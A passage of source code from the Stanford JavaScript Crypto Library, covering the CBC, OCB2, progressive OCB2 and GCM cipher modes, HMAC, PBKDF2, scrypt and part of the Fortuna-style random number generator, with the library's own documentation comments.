            if (sjcl.bitArray.bitLength(iv) !== 128) {
                throw new sjcl.exception.invalid("cbc iv must be 128 bits");
            }
            var i,
                w = sjcl.bitArray,
                xor = w._xor4,
                bl = w.bitLength(plaintext),
                bp = 0,
                output = [];

            if (bl & 7) {
                throw new sjcl.exception.invalid("pkcs#5 padding only works for multiples of a byte");
            }

            for (i = 0; bp + 128 <= bl; i += 4, bp += 128) {
                /* Encrypt a non-final block */
                iv = prp.encrypt(xor(iv, plaintext.slice(i, i + 4)));
                output.splice(i, 0, iv[0], iv[1], iv[2], iv[3]);
            }

            /* Construct the pad. */
            bl = (16 - ((bl >> 3) & 15)) * 0x1010101;

            /* Pad and encrypt. */
            iv = prp.encrypt(xor(iv, w.concat(plaintext, [bl, bl, bl, bl]).slice(i, i + 4)));
            output.splice(i, 0, iv[0], iv[1], iv[2], iv[3]);
            return output;
        },

        /** Decrypt in CBC mode.
         * @param {Object} prp The block cipher.  It must have a block size of 16 bytes.
         * @param {bitArray} ciphertext The ciphertext data.
         * @param {bitArray} iv The initialization value.
         * @param {bitArray} [adata=[]] The authenticated data.  It must be empty.
         * @return The decrypted data, an array of bytes.
         * @throws {sjcl.exception.invalid} if the IV isn't exactly 128 bits, or if any adata is specified.
         * @throws {sjcl.exception.corrupt} if if the message is corrupt.
         */
        decrypt: function (prp, ciphertext, iv, adata) {
            if (adata && adata.length) {
                throw new sjcl.exception.invalid("cbc can't authenticate data");
            }
            if (sjcl.bitArray.bitLength(iv) !== 128) {
                throw new sjcl.exception.invalid("cbc iv must be 128 bits");
            }
            if ((sjcl.bitArray.bitLength(ciphertext) & 127) || !ciphertext.length) {
                throw new sjcl.exception.corrupt("cbc ciphertext must be a positive multiple of the block size");
            }
            var i,
                w = sjcl.bitArray,
                xor = w._xor4,
                bi, bo,
                output = [];

            adata = adata || [];

            for (i = 0; i < ciphertext.length; i += 4) {
                bi = ciphertext.slice(i, i + 4);
                bo = xor(iv, prp.decrypt(bi));
                output.splice(i, 0, bo[0], bo[1], bo[2], bo[3]);
                iv = bi;
            }

            /* check and remove the pad */
            bi = output[i - 1] & 255;
            if (bi === 0 || bi > 16) {
                throw new sjcl.exception.corrupt("pkcs#5 padding corrupt");
            }
            bo = bi * 0x1010101;
            if (!w.equal(w.bitSlice([bo, bo, bo, bo], 0, bi * 8),
                    w.bitSlice(output, output.length * 32 - bi * 8, output.length * 32))) {
                throw new sjcl.exception.corrupt("pkcs#5 padding corrupt");
            }

            return w.bitSlice(output, 0, output.length * 32 - bi * 8);
        }
    };
};
/** @fileOverview OCB 2.0 implementation
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/** 
 * Phil Rogaway's Offset CodeBook mode, version 2.0.
 * May be covered by US and international patents.
 *
 * @namespace
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */
sjcl.mode.ocb2 = {
    /** The name of the mode.
     * @constant
     */
    name: "ocb2",

    /** Encrypt in OCB mode, version 2.0.
     * @param {Object} prp The block cipher.  It must have a block size of 16 bytes.
     * @param {bitArray} plaintext The plaintext data.
     * @param {bitArray} iv The initialization value.
     * @param {bitArray} [adata=[]] The authenticated data.
     * @param {Number} [tlen=64] the desired tag length, in bits.
     * @param {boolean} [premac=false] true if the authentication data is pre-macced with PMAC.
     * @return The encrypted data, an array of bytes.
     * @throws {sjcl.exception.invalid} if the IV isn't exactly 128 bits.
     */
    encrypt: function (prp, plaintext, iv, adata, tlen, premac) {
        if (sjcl.bitArray.bitLength(iv) !== 128) {
            throw new sjcl.exception.invalid("ocb iv must be 128 bits");
        }
        var i,
            times2 = sjcl.mode.ocb2._times2,
            w = sjcl.bitArray,
            xor = w._xor4,
            checksum = [0, 0, 0, 0],
            delta = times2(prp.encrypt(iv)),
            bi, bl,
            output = [],
            pad;

        adata = adata || [];
        tlen = tlen || 64;

        for (i = 0; i + 4 < plaintext.length; i += 4) {
            /* Encrypt a non-final block */
            bi = plaintext.slice(i, i + 4);
            checksum = xor(checksum, bi);
            output = output.concat(xor(delta, prp.encrypt(xor(delta, bi))));
            delta = times2(delta);
        }

        /* Chop out the final block */
        bi = plaintext.slice(i);
        bl = w.bitLength(bi);
        pad = prp.encrypt(xor(delta, [0, 0, 0, bl]));
        bi = w.clamp(xor(bi.concat([0, 0, 0]), pad), bl);

        /* Checksum the final block, and finalize the checksum */
        checksum = xor(checksum, xor(bi.concat([0, 0, 0]), pad));
        checksum = prp.encrypt(xor(checksum, xor(delta, times2(delta))));

        /* MAC the header */
        if (adata.length) {
            checksum = xor(checksum, premac ? adata : sjcl.mode.ocb2.pmac(prp, adata));
        }

        return output.concat(w.concat(bi, w.clamp(checksum, tlen)));
    },

    /** Decrypt in OCB mode.
     * @param {Object} prp The block cipher.  It must have a block size of 16 bytes.
     * @param {bitArray} ciphertext The ciphertext data.
     * @param {bitArray} iv The initialization value.
     * @param {bitArray} [adata=[]] The authenticated data.
     * @param {Number} [tlen=64] the desired tag length, in bits.
     * @param {boolean} [premac=false] true if the authentication data is pre-macced with PMAC.
     * @return The decrypted data, an array of bytes.
     * @throws {sjcl.exception.invalid} if the IV isn't exactly 128 bits.
     * @throws {sjcl.exception.corrupt} if if the message is corrupt.
     */
    decrypt: function (prp, ciphertext, iv, adata, tlen, premac) {
        if (sjcl.bitArray.bitLength(iv) !== 128) {
            throw new sjcl.exception.invalid("ocb iv must be 128 bits");
        }
        tlen = tlen || 64;
        var i,
            times2 = sjcl.mode.ocb2._times2,
            w = sjcl.bitArray,
            xor = w._xor4,
            checksum = [0, 0, 0, 0],
            delta = times2(prp.encrypt(iv)),
            bi, bl,
            len = sjcl.bitArray.bitLength(ciphertext) - tlen,
            output = [],
            pad;

        adata = adata || [];

        for (i = 0; i + 4 < len / 32; i += 4) {
            /* Decrypt a non-final block */
            bi = xor(delta, prp.decrypt(xor(delta, ciphertext.slice(i, i + 4))));
            checksum = xor(checksum, bi);
            output = output.concat(bi);
            delta = times2(delta);
        }

        /* Chop out and decrypt the final block */
        bl = len - i * 32;
        pad = prp.encrypt(xor(delta, [0, 0, 0, bl]));
        bi = xor(pad, w.clamp(ciphertext.slice(i), bl).concat([0, 0, 0]));

        /* Checksum the final block, and finalize the checksum */
        checksum = xor(checksum, bi);
        checksum = prp.encrypt(xor(checksum, xor(delta, times2(delta))));

        /* MAC the header */
        if (adata.length) {
            checksum = xor(checksum, premac ? adata : sjcl.mode.ocb2.pmac(prp, adata));
        }

        if (!w.equal(w.clamp(checksum, tlen), w.bitSlice(ciphertext, len))) {
            throw new sjcl.exception.corrupt("ocb: tag doesn't match");
        }

        return output.concat(w.clamp(bi, bl));
    },

    /** PMAC authentication for OCB associated data.
     * @param {Object} prp The block cipher.  It must have a block size of 16 bytes.
     * @param {bitArray} adata The authenticated data.
     */
    pmac: function (prp, adata) {
        var i,
            times2 = sjcl.mode.ocb2._times2,
            w = sjcl.bitArray,
            xor = w._xor4,
            checksum = [0, 0, 0, 0],
            delta = prp.encrypt([0, 0, 0, 0]),
            bi;

        delta = xor(delta, times2(times2(delta)));

        for (i = 0; i + 4 < adata.length; i += 4) {
            delta = times2(delta);
            checksum = xor(checksum, prp.encrypt(xor(delta, adata.slice(i, i + 4))));
        }

        bi = adata.slice(i);
        if (w.bitLength(bi) < 128) {
            delta = xor(delta, times2(delta));
            bi = w.concat(bi, [0x80000000 | 0, 0, 0, 0]);
        }
        checksum = xor(checksum, bi);
        return prp.encrypt(xor(times2(xor(delta, times2(delta))), checksum));
    },

    /** Double a block of words, OCB style.
     * @private
     */
    _times2: function (x) {
        return [x[0] << 1 ^ x[1] >>> 31,
            x[1] << 1 ^ x[2] >>> 31,
            x[2] << 1 ^ x[3] >>> 31,
            x[3] << 1 ^ (x[0] >>> 31) * 0x87
        ];
    }
};
/**
 * OCB2.0 implementation slightly modified by Yifan Gu
 * to support progressive encryption
 * @author Yifan Gu
 */

/** @fileOverview OCB 2.0 implementation
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/** 
 * Phil Rogaway's Offset CodeBook mode, version 2.0.
 * May be covered by US and international patents.
 *
 * @namespace
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

sjcl.mode.ocb2progressive = {
    createEncryptor: function (prp, iv, adata, tlen, premac) {
        if (sjcl.bitArray.bitLength(iv) !== 128) {
            throw new sjcl.exception.invalid("ocb iv must be 128 bits");
        }
        var i,
            times2 = sjcl.mode.ocb2._times2,
            w = sjcl.bitArray,
            xor = w._xor4,
            checksum = [0, 0, 0, 0],
            delta = times2(prp.encrypt(iv)),
            bi, bl,
            datacache = [],
            pad;

        adata = adata || [];
        tlen = tlen || 64;

        return {
            process: function (data) {
                var datalen = sjcl.bitArray.bitLength(data);
                if (datalen == 0) { // empty input natrually gives empty output
                    return [];
                }
                var output = [];
                datacache = datacache.concat(data);
                for (i = 0; i + 4 < datacache.length; i += 4) {
                    /* Encrypt a non-final block */
                    bi = datacache.slice(i, i + 4);
                    checksum = xor(checksum, bi);
                    output = output.concat(xor(delta, prp.encrypt(xor(delta, bi))));
                    delta = times2(delta);
                }
                datacache = datacache.slice(i); // at end of each process we ensure size of datacache is smaller than 4
                return output; //spits out the result.
            },
            finalize: function () {
                // the final block
                bi = datacache;
                bl = w.bitLength(bi);
                pad = prp.encrypt(xor(delta, [0, 0, 0, bl]));
                bi = w.clamp(xor(bi.concat([0, 0, 0]), pad), bl);

                /* Checksum the final block, and finalize the checksum */
                checksum = xor(checksum, xor(bi.concat([0, 0, 0]), pad));
                checksum = prp.encrypt(xor(checksum, xor(delta, times2(delta))));

                /* MAC the header */
                if (adata.length) {
                    checksum = xor(checksum, premac ? adata : sjcl.mode.ocb2.pmac(prp, adata));
                }

                return w.concat(bi, w.clamp(checksum, tlen)); // spits out the last block
            }
        };
    },
    createDecryptor: function (prp, iv, adata, tlen, premac) {
        if (sjcl.bitArray.bitLength(iv) !== 128) {
            throw new sjcl.exception.invalid("ocb iv must be 128 bits");
        }
        tlen = tlen || 64;
        var i,
            times2 = sjcl.mode.ocb2._times2,
            w = sjcl.bitArray,
            xor = w._xor4,
            checksum = [0, 0, 0, 0],
            delta = times2(prp.encrypt(iv)),
            bi, bl,
            datacache = [],
            pad;

        adata = adata || [];

        return {
            process: function (data) {
                if (data.length == 0) { // empty input natrually gives empty output
                    return [];
                }
                var output = [];
                datacache = datacache.concat(data);
                var cachelen = sjcl.bitArray.bitLength(datacache);
                for (i = 0; i + 4 < (cachelen - tlen) / 32; i += 4) {
                    /* Decrypt a non-final block */
                    bi = xor(delta, prp.decrypt(xor(delta, datacache.slice(i, i + 4))));
                    checksum = xor(checksum, bi);
                    output = output.concat(bi);
                    delta = times2(delta);
                }
                datacache = datacache.slice(i);
                return output;
            },
            finalize: function () {
                /* Chop out and decrypt the final block */
                bl = sjcl.bitArray.bitLength(datacache) - tlen;
                pad = prp.encrypt(xor(delta, [0, 0, 0, bl]));
                bi = xor(pad, w.clamp(datacache, bl).concat([0, 0, 0]));

                /* Checksum the final block, and finalize the checksum */
                checksum = xor(checksum, bi);
                checksum = prp.encrypt(xor(checksum, xor(delta, times2(delta))));

                /* MAC the header */
                if (adata.length) {
                    checksum = xor(checksum, premac ? adata : sjcl.mode.ocb2.pmac(prp, adata));
                }

                if (!w.equal(w.clamp(checksum, tlen), w.bitSlice(datacache, bl))) {
                    throw new sjcl.exception.corrupt("ocb: tag doesn't match");
                }

                return w.clamp(bi, bl);
            }
        };
    }
};
/** @fileOverview GCM mode implementation.
 *
 * @author Juho Vähä-Herttua
 */

/**
 * Galois/Counter mode.
 * @namespace
 */
sjcl.mode.gcm = {
    /**
     * The name of the mode.
     * @constant
     */
    name: "gcm",

    /** Encrypt in GCM mode.
     * @static
     * @param {Object} prf The pseudorandom function.  It must have a block size of 16 bytes.
     * @param {bitArray} plaintext The plaintext data.
     * @param {bitArray} iv The initialization value.
     * @param {bitArray} [adata=[]] The authenticated data.
     * @param {Number} [tlen=128] The desired tag length, in bits.
     * @return {bitArray} The encrypted data, an array of bytes.
     */
    encrypt: function (prf, plaintext, iv, adata, tlen) {
        var out, data = plaintext.slice(0),
            w = sjcl.bitArray;
        tlen = tlen || 128;
        adata = adata || [];

        // encrypt and tag
        out = sjcl.mode.gcm._ctrMode(true, prf, data, adata, iv, tlen);

        return w.concat(out.data, out.tag);
    },

    /** Decrypt in GCM mode.
     * @static
     * @param {Object} prf The pseudorandom function.  It must have a block size of 16 bytes.
     * @param {bitArray} ciphertext The ciphertext data.
     * @param {bitArray} iv The initialization value.
     * @param {bitArray} [adata=[]] The authenticated data.
     * @param {Number} [tlen=128] The desired tag length, in bits.
     * @return {bitArray} The decrypted data.
     */
    decrypt: function (prf, ciphertext, iv, adata, tlen) {
        var out, data = ciphertext.slice(0),
            tag, w = sjcl.bitArray,
            l = w.bitLength(data);
        tlen = tlen || 128;
        adata = adata || [];

        // Slice tag out of data
        if (tlen <= l) {
            tag = w.bitSlice(data, l - tlen);
            data = w.bitSlice(data, 0, l - tlen);
        } else {
            tag = data;
            data = [];
        }

        // decrypt and tag
        out = sjcl.mode.gcm._ctrMode(false, prf, data, adata, iv, tlen);

        if (!w.equal(out.tag, tag)) {
            throw new sjcl.exception.corrupt("gcm: tag doesn't match");
        }
        return out.data;
    },

    /* Compute the galois multiplication of X and Y
     * @private
     */
    _galoisMultiply: function (x, y) {
        var i, j, xi, Zi, Vi, lsb_Vi, w = sjcl.bitArray,
            xor = w._xor4;

        Zi = [0, 0, 0, 0];
        Vi = y.slice(0);

        // Block size is 128 bits, run 128 times to get Z_128
        for (i = 0; i < 128; i++) {
            xi = (x[Math.floor(i / 32)] & (1 << (31 - i % 32))) !== 0;
            if (xi) {
                // Z_i+1 = Z_i ^ V_i
                Zi = xor(Zi, Vi);
            }

            // Store the value of LSB(V_i)
            lsb_Vi = (Vi[3] & 1) !== 0;

            // V_i+1 = V_i >> 1
            for (j = 3; j > 0; j--) {
                Vi[j] = (Vi[j] >>> 1) | ((Vi[j - 1] & 1) << 31);
            }
            Vi[0] = Vi[0] >>> 1;

            // If LSB(V_i) is 1, V_i+1 = (V_i >> 1) ^ R
            if (lsb_Vi) {
                Vi[0] = Vi[0] ^ (0xe1 << 24);
            }
        }
        return Zi;
    },

    _ghash: function (H, Y0, data) {
        var Yi, i, l = data.length;

        Yi = Y0.slice(0);
        for (i = 0; i < l; i += 4) {
            Yi[0] ^= 0xffffffff & data[i];
            Yi[1] ^= 0xffffffff & data[i + 1];
            Yi[2] ^= 0xffffffff & data[i + 2];
            Yi[3] ^= 0xffffffff & data[i + 3];
            Yi = sjcl.mode.gcm._galoisMultiply(Yi, H);
        }
        return Yi;
    },

    /** GCM CTR mode.
     * Encrypt or decrypt data and tag with the prf in GCM-style CTR mode.
     * @param {Boolean} encrypt True if encrypt, false if decrypt.
     * @param {Object} prf The PRF.
     * @param {bitArray} data The data to be encrypted or decrypted.
     * @param {bitArray} iv The initialization vector.
     * @param {bitArray} adata The associated data to be tagged.
     * @param {Number} tlen The length of the tag, in bits.
     */
    _ctrMode: function (encrypt, prf, data, adata, iv, tlen) {
        var H, J0, S0, enc, i, ctr, tag, last, l, bl, abl, ivbl, w = sjcl.bitArray;

        // Calculate data lengths
        l = data.length;
        bl = w.bitLength(data);
        abl = w.bitLength(adata);
        ivbl = w.bitLength(iv);

        // Calculate the parameters
        H = prf.encrypt([0, 0, 0, 0]);
        if (ivbl === 96) {
            J0 = iv.slice(0);
            J0 = w.concat(J0, [1]);
        } else {
            J0 = sjcl.mode.gcm._ghash(H, [0, 0, 0, 0], iv);
            J0 = sjcl.mode.gcm._ghash(H, J0, [0, 0, Math.floor(ivbl / 0x100000000), ivbl & 0xffffffff]);
        }
        S0 = sjcl.mode.gcm._ghash(H, [0, 0, 0, 0], adata);

        // Initialize ctr and tag
        ctr = J0.slice(0);
        tag = S0.slice(0);

        // If decrypting, calculate hash
        if (!encrypt) {
            tag = sjcl.mode.gcm._ghash(H, S0, data);
        }

        // Encrypt all the data
        for (i = 0; i < l; i += 4) {
            ctr[3]++;
            enc = prf.encrypt(ctr);
            data[i] ^= enc[0];
            data[i + 1] ^= enc[1];
            data[i + 2] ^= enc[2];
            data[i + 3] ^= enc[3];
        }
        data = w.clamp(data, bl);

        // If encrypting, calculate hash
        if (encrypt) {
            tag = sjcl.mode.gcm._ghash(H, S0, data);
        }

        // Calculate last block from bit lengths, ugly because bitwise operations are 32-bit
        last = [
            Math.floor(abl / 0x100000000), abl & 0xffffffff,
            Math.floor(bl / 0x100000000), bl & 0xffffffff
        ];

        // Calculate the final tag block
        tag = sjcl.mode.gcm._ghash(H, tag, last);
        enc = prf.encrypt(J0);
        tag[0] ^= enc[0];
        tag[1] ^= enc[1];
        tag[2] ^= enc[2];
        tag[3] ^= enc[3];

        return {
            tag: w.bitSlice(tag, 0, tlen),
            data: data
        };
    }
};
/** @fileOverview HMAC implementation.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/** HMAC with the specified hash function.
 * @constructor
 * @param {bitArray} key the key for HMAC.
 * @param {Object} [Hash=sjcl.hash.sha256] The hash function to use.
 */
sjcl.misc.hmac = function (key, Hash) {
    this._hash = Hash = Hash || sjcl.hash.sha256;
    var exKey = [
            [],
            []
        ],
        i,
        bs = Hash.prototype.blockSize / 32;
    this._baseHash = [new Hash(), new Hash()];

    if (key.length > bs) {
        key = Hash.hash(key);
    }

    for (i = 0; i < bs; i++) {
        exKey[0][i] = key[i] ^ 0x36363636;
        exKey[1][i] = key[i] ^ 0x5C5C5C5C;
    }

    this._baseHash[0].update(exKey[0]);
    this._baseHash[1].update(exKey[1]);
    this._resultHash = new Hash(this._baseHash[0]);
};

/** HMAC with the specified hash function.  Also called encrypt since it's a prf.
 * @param {bitArray|String} data The data to mac.
 */
sjcl.misc.hmac.prototype.encrypt = sjcl.misc.hmac.prototype.mac = function (data) {
    if (!this._updated) {
        this.update(data);
        return this.digest(data);
    } else {
        throw new sjcl.exception.invalid("encrypt on already updated hmac called!");
    }
};

sjcl.misc.hmac.prototype.reset = function () {
    this._resultHash = new this._hash(this._baseHash[0]);
    this._updated = false;
};

sjcl.misc.hmac.prototype.update = function (data) {
    this._updated = true;
    this._resultHash.update(data);
};

sjcl.misc.hmac.prototype.digest = function () {
    var w = this._resultHash.finalize(),
        result = new(this._hash)(this._baseHash[1]).update(w).finalize();

    this.reset();

    return result;
};
/** @fileOverview Password-based key-derivation function, version 2.0.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 */

/** Password-Based Key-Derivation Function, version 2.0.
 *
 * Generate keys from passwords using PBKDF2-HMAC-SHA256.
 *
 * This is the method specified by RSA's PKCS #5 standard.
 *
 * @param {bitArray|String} password  The password.
 * @param {bitArray|String} salt The salt.  Should have lots of entropy.
 * @param {Number} [count=1000] The number of iterations.  Higher numbers make the function slower but more secure.
 * @param {Number} [length] The length of the derived key.  Defaults to the
                            output size of the hash function.
 * @param {Object} [Prff=sjcl.misc.hmac] The pseudorandom function family.
 * @return {bitArray} the derived key.
 */
sjcl.misc.pbkdf2 = function (password, salt, count, length, Prff) {
    count = count || 10000;

    if (length < 0 || count < 0) {
        throw new sjcl.exception.invalid("invalid params to pbkdf2");
    }

    if (typeof password === "string") {
        password = sjcl.codec.utf8String.toBits(password);
    }

    if (typeof salt === "string") {
        salt = sjcl.codec.utf8String.toBits(salt);
    }

    Prff = Prff || sjcl.misc.hmac;

    var prf = new Prff(password),
        u, ui, i, j, k, out = [],
        b = sjcl.bitArray;

    for (k = 1; 32 * out.length < (length || 1); k++) {
        u = ui = prf.encrypt(b.concat(salt, [k]));

        for (i = 1; i < count; i++) {
            ui = prf.encrypt(ui);
            for (j = 0; j < ui.length; j++) {
                u[j] ^= ui[j];
            }
        }

        out = out.concat(u);
    }

    if (length) {
        out = b.clamp(out, length);
    }

    return out;
};
/** scrypt Password-Based Key-Derivation Function.
 *
 * @param {bitArray|String} password  The password.
 * @param {bitArray|String} salt      The salt.  Should have lots of entropy.
 *
 * @param {Number} [N=16384] CPU/Memory cost parameter.
 * @param {Number} [r=8]     Block size parameter.
 * @param {Number} [p=1]     Parallelization parameter.
 *
 * @param {Number} [length] The length of the derived key.  Defaults to the
 *                          output size of the hash function.
 * @param {Object} [Prff=sjcl.misc.hmac] The pseudorandom function family.
 *
 * @return {bitArray} The derived key.
 */
sjcl.misc.scrypt = function (password, salt, N, r, p, length, Prff) {
    var SIZE_MAX = Math.pow(2, 32) - 1,
        self = sjcl.misc.scrypt;

    N = N || 16384;
    r = r || 8;
    p = p || 1;

    if (r * p >= Math.pow(2, 30)) {
        throw sjcl.exception.invalid("The parameters r, p must satisfy r * p < 2^30");
    }

    if ((N < 2) || (N & (N - 1) != 0)) {
        throw sjcl.exception.invalid("The parameter N must be a power of 2.");
    }

    if (N > SIZE_MAX / 128 / r) {
        throw sjcl.exception.invalid("N too big.");
    }

    if (r > SIZE_MAX / 128 / p) {
        throw sjcl.exception.invalid("r too big.");
    }

    var blocks = sjcl.misc.pbkdf2(password, salt, 1, p * 128 * r * 8, Prff),
        len = blocks.length / p;

    self.reverse(blocks);

    for (var i = 0; i < p; i++) {
        var block = blocks.slice(i * len, (i + 1) * len);
        self.blockcopy(self.ROMix(block, N), 0, blocks, i * len);
    }

    self.reverse(blocks);

    return sjcl.misc.pbkdf2(password, blocks, 1, length, Prff);
};

sjcl.misc.scrypt.salsa20Core = function (word, rounds) {
    var R = function (a, b) {
        return (a << b) | (a >>> (32 - b));
    };
    var x = word.slice(0);

    for (var i = rounds; i > 0; i -= 2) {
        x[4] ^= R(x[0] + x[12], 7);
        x[8] ^= R(x[4] + x[0], 9);
        x[12] ^= R(x[8] + x[4], 13);
        x[0] ^= R(x[12] + x[8], 18);
        x[9] ^= R(x[5] + x[1], 7);
        x[13] ^= R(x[9] + x[5], 9);
        x[1] ^= R(x[13] + x[9], 13);
        x[5] ^= R(x[1] + x[13], 18);
        x[14] ^= R(x[10] + x[6], 7);
        x[2] ^= R(x[14] + x[10], 9);
        x[6] ^= R(x[2] + x[14], 13);
        x[10] ^= R(x[6] + x[2], 18);
        x[3] ^= R(x[15] + x[11], 7);
        x[7] ^= R(x[3] + x[15], 9);
        x[11] ^= R(x[7] + x[3], 13);
        x[15] ^= R(x[11] + x[7], 18);
        x[1] ^= R(x[0] + x[3], 7);
        x[2] ^= R(x[1] + x[0], 9);
        x[3] ^= R(x[2] + x[1], 13);
        x[0] ^= R(x[3] + x[2], 18);
        x[6] ^= R(x[5] + x[4], 7);
        x[7] ^= R(x[6] + x[5], 9);
        x[4] ^= R(x[7] + x[6], 13);
        x[5] ^= R(x[4] + x[7], 18);
        x[11] ^= R(x[10] + x[9], 7);
        x[8] ^= R(x[11] + x[10], 9);
        x[9] ^= R(x[8] + x[11], 13);
        x[10] ^= R(x[9] + x[8], 18);
        x[12] ^= R(x[15] + x[14], 7);
        x[13] ^= R(x[12] + x[15], 9);
        x[14] ^= R(x[13] + x[12], 13);
        x[15] ^= R(x[14] + x[13], 18);
    }

    for (i = 0; i < 16; i++) word[i] = x[i] + word[i];
};

sjcl.misc.scrypt.blockMix = function (blocks) {
    var X = blocks.slice(-16),
        out = [],
        len = blocks.length / 16,
        self = sjcl.misc.scrypt;

    for (var i = 0; i < len; i++) {
        self.blockxor(blocks, 16 * i, X, 0, 16);
        self.salsa20Core(X, 8);

        if ((i & 1) == 0) {
            self.blockcopy(X, 0, out, 8 * i);
        } else {
            self.blockcopy(X, 0, out, 8 * (i ^ 1 + len));
        }
    }

    return out;
};

sjcl.misc.scrypt.ROMix = function (block, N) {
    var X = block.slice(0),
        V = [],
        self = sjcl.misc.scrypt;

    for (var i = 0; i < N; i++) {
        V.push(X.slice(0));
        X = self.blockMix(X);
    }

    for (i = 0; i < N; i++) {
        var j = X[X.length - 16] & (N - 1);

        self.blockxor(V[j], 0, X, 0);
        X = self.blockMix(X);
    }

    return X;
};

sjcl.misc.scrypt.reverse = function (words) { // Converts Big <-> Little Endian words
    for (var i in words) {
        var out = words[i] & 0xFF;
        out = (out << 8) | (words[i] >>> 8) & 0xFF;
        out = (out << 8) | (words[i] >>> 16) & 0xFF;
        out = (out << 8) | (words[i] >>> 24) & 0xFF;

        words[i] = out;
    }
};

sjcl.misc.scrypt.blockcopy = function (S, Si, D, Di, len) {
    var i;

    len = len || (S.length - Si);

    for (i = 0; i < len; i++) D[Di + i] = S[Si + i] | 0;
};

sjcl.misc.scrypt.blockxor = function (S, Si, D, Di, len) {
    var i;

    len = len || (S.length - Si);

    for (i = 0; i < len; i++) D[Di + i] = (D[Di + i] ^ S[Si + i]) | 0;
};
/** @fileOverview Random number generator.
 *
 * @author Emily Stark
 * @author Mike Hamburg
 * @author Dan Boneh
 * @author Michael Brooks
 * @author Steve Thomas
 */

/** 
 * @class Random number generator
 * @description
 * <b>Use sjcl.random as a singleton for this class!</b>
 * <p>
 * This random number generator is a derivative of Ferguson and Schneier's
 * generator Fortuna.  It collects entropy from various events into several
 * pools, implemented by streaming SHA-256 instances.  It differs from
 * ordinary Fortuna in a few ways, though.
 * </p>
 *
 * <p>
 * Most importantly, it has an entropy estimator.  This is present because
 * there is a strong conflict here between making the generator available
 * as soon as possible, and making sure that it doesn't "run on empty".
 * In Fortuna, there is a saved state file, and the system is likely to have
 * time to warm up.
 * </p>
 *
 * <p>
 * Second, because users are unlikely to stay on the page for very long,
 * and to speed startup time, the number of pools increases logarithmically:
 * a new pool is created when the previous one is actually used for a reseed.
 * This gives the same asymptotic guarantees as Fortuna, but gives more
 * entropy to early reseeds.
 * </p>
 *
 * <p>
 * The entire mechanism here feels pretty klunky.  Furthermore, there are
 * several improvements that should be made, including support for
 * dedicated cryptographic functions that may be present in some browsers;
 * state files in local storage; cookies containing randomness; etc.  So
 * look for improvements in future versions.
 * </p>
 * @constructor
 */
sjcl.prng = function (defaultParanoia) {

    /* private */
    this._pools = [new sjcl.hash.sha256()];
    this._poolEntropy = [0];
    this._reseedCount = 0;
    this._robins = {};
    this._eventId = 0;

    this._collectorIds = {};
    this._collectorIdNext = 0;

    this._strength = 0;
    this._poolStrength = 0;
    this._nextReseed = 0;
    this._key = [0, 0, 0, 0, 0, 0, 0, 0];
    this._counter = [0, 0, 0, 0];
    this._cipher = undefined;
    this._defaultParanoia = defaultParanoia;

    /* event listener stuff */
    this._collectorsStarted = false;
    this._callbacks = {
        progress: {},
        seeded: {}
    };
    this._callbackI = 0;

    /* constants */
    this._NOT_READY = 0;
    this._READY = 1;
    this._REQUIRES_RESEED = 2;

    this._MAX_WORDS_PER_BURST = 65536;
    this._PARANOIA_LEVELS = [0, 48, 64, 96, 128, 192, 256, 384, 512, 768, 1024];
    this._MILLISECONDS_PER_RESEED = 30000;
    this._BITS_PER_RESEED = 80;
};

sjcl.prng.prototype = {
    /** Generate several random words, and return them in an array.
     * A word consists of 32 bits (4 bytes)
     * @param {Number} nwords The number of words to generate.
     */
    randomWords: function (nwords, paranoia) {
        var out = [],
            i, readiness = this.isReady(paranoia),
            g;

        if (readiness === this._NOT_READY) {
            throw new sjcl.exception.notReady("generator isn't seeded");
        } else if (readiness & this._REQUIRES_RESEED) {
            this._reseedFromPools(!(readiness & this._READY));
        }

        for (i = 0; i < nwords; i += 4) {
            if ((i + 1) % this._MAX_WORDS_PER_BURST === 0) {
                this._gate();
            }

            g = this._gen4words();
            out.push(g[0], g[1], g[2], g[3]);
        }
        this._gate();

        return out.slice(0, nwords);
    },

    setDefaultParanoia: function (paranoia, allowZeroParanoia) {
        if (paranoia === 0 && allowZeroParanoia !== "Setting paranoia=0 will ruin your security; use it only for testing") {
            throw new sjcl.exception.invalid("Setting paranoia=0 will ruin your security; use it only for testing");
        }

        this._defaultParanoia = paranoia;
    },

    /**
     * Add entropy to the pools.
     * @param data The entropic value.  Should be a 32-bit integer, array of 32-bit integers, or string
     * @param {Number} estimatedEntropy The estimated entropy of data, in bits
     * @param {String} source The source of the entropy, eg "mouse"
     */
    addEntropy: function (data, estimatedEntropy, source) {
        source = source || "user";

        var id,
            i, tmp,
            t = (new Date()).valueOf(),
            robin = this._robins[source],
            oldReady = this.isReady(),
            err = 0,
            objName;

        id = this._collectorIds[source];
        if (id === undefined) {
            id = this._collectorIds[source] = this._collectorIdNext++;
        }

        if (robin === undefined) {
            robin = this._robins[source] = 0;
        }
        this._robins[source] = (this._robins[source] + 1) % this._pools.length;

        switch (typeof (data)) {

            case "number":
                if (estimatedEntropy === undefined) {
                    estimatedEntropy = 1;
                }
                this._pools[robin].update([id, this._eventId++, 1, estimatedEntropy, t, 1, data | 0]);
                break;

            case "object":
                objName = Object.prototype.toString.call(data);
                if (objName === "[object Uint32Array]") {
                    tmp = [];
                    for (i = 0; i < data.length; i++) {
                        tmp.push(data[i]);
                    }
                    data = tmp;
                } else {
                    if (objName !== "[object Array]") {
                        err = 1;
                    }
                    for (i = 0; i < data.length && !err; i++) {
                        if (typeof (data[i]) !== "number") {
                            err = 1;
                        }
                    }
                }
                if (!err) {
                    if (estimatedEntropy === undefined) {
                        /* horrible entropy estimator */
                        estimatedEntropy = 0;
                        for (i = 0; i < data.length; i++) {
                            tmp = data[i];
                            while (tmp > 0) {
                                estimatedEntropy++;
                                tmp = tmp >>> 1;
                            }
                        }
                    }
                    this._pools[robin].update([id, this._eventId++, 2, estimatedEntropy, t, data.length].concat(data));
                }
                break;

            case "string":
                if (estimatedEntropy === undefined) {
                    /* English text has just over 1 bit per character of entropy.
                     * But this might be HTML or something, and have far less
                     * entropy than English...  Oh well, let's just say one bit.
                     */
                    estimatedEntropy = data.length;
                }
